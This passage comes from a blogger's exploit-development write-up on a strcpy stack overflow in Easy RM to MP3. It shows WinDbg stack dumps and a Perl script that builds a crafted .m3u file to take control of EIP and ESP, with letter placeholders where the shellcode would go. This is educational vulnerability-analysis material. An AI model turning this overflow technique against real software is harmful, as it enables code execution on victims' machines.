000ffd88 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43  8ABCDEFHGIJK9ABC
000ffd98 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47  DEFGHIJKAABCDEF
000fdda8 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b  HIJKBABCDEFHGIJK
0:000> d
000fddb8 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41  CABCDEFHGIJK AAA
000ffdc8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAAA
000ffdd8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAAA
000ffde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAAA
000ffdf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAAA
000ffe08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAAA
000ffe18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAAA
000ffe28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAAA
```

I found the esp point to the 5th character of our shellcode why? I guess because the fuction has a parameter whose size is 4bytes so after returning,the argument was popped up from stack In fact, it is really what I guess:

• .text:0041BCF8	push	ebp	
• .text:0041BCF9	mov	ecx, ebx	
• .text:0041BCFB	call	sub_41E2B0	; crash_function
• .text:0041BD00	pop	edi	

Now let me add 4 character in front of our shellcode and do the test again,if all goes well, esp should directly point to the beginning of our shellcode:

```
my $file= "test1.m3u";
my $junk= "A" x 26109;
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFHGIJK2ABCDEFHGIJK3ABCDEFHGIJK4ABCDEFHGIJK" .
```

```
"5ABCDEF GHIJK6ABCDEF GHIJK" .
"7ABCDEF GHIJK8ABCDEF GHIJK" .
"9ABCDEF GHIJKAABCDEF GHIJK".
"BABCDEF GHIJKCABCDEF GHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$presHELLcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
```

Let the application and see the esp again:

```
(d10.020): Access violation - code 00000005 (!!! Second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00c70000 esi=77c2fce0 edi=00006695
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242  ??             ???
0:000> d esp
000ffd38 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEF GHIJK2ABC
000ffd48 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEF GHIJK3ABCDEF G
000ffd58 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEF GHIJK
000ffd68 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 5ABCDEF GHIJK6ABC
000ffd78 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEF GHIJK7ABCDEF G
000ffd88 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEF GHIJK
000ffd98 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEF GHIJKAABC
000ffda8 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJK8ABCDEF G
0:000> d
000ffdb8 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b HIJKCABCDEF GHIJK
000ffdc8 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAAA
000ffdd8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAA
000ffde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAA
000ffdf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAA
000ffe08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAA
000ffe18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAA
000ffe28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAA
```

Oh.Perfect! Now you have control the eip and esp at 0x000ffd38 points to our shellcode.Next we can overwrite EIP by a jump to shellcode

you can reference <https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/> for the detail of shellcode ,it's simple and I believe you can understand it soon,I omit it here^_^

0x2 Analysis Conclusion

The stack overflow in *Easy RM to MP3* is caused by the `strcpy()`,which doesn't check the size of copied-bytes from src. Here I just analyzed the cause for stack overflow by debugging and tracing,which I think that is very important in vul analysis,in fact, debugging and tracing is really the basic for analysis,I found my dynamic debugging is weak, and I will strengthn debugging and reversing.I debuged the vulnerable application for many many many time(really many),and I love Breakpoint in debugging! Still that word,*Static analysis is the main,Dynamic analysis is the auxiliary.*

You should be skilled in both for analyzing in one take .I believe I can do that.^_^

Reference:

<https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overfl>

[ows/](#)

lTh4cker 2015/12/6 BeiJing China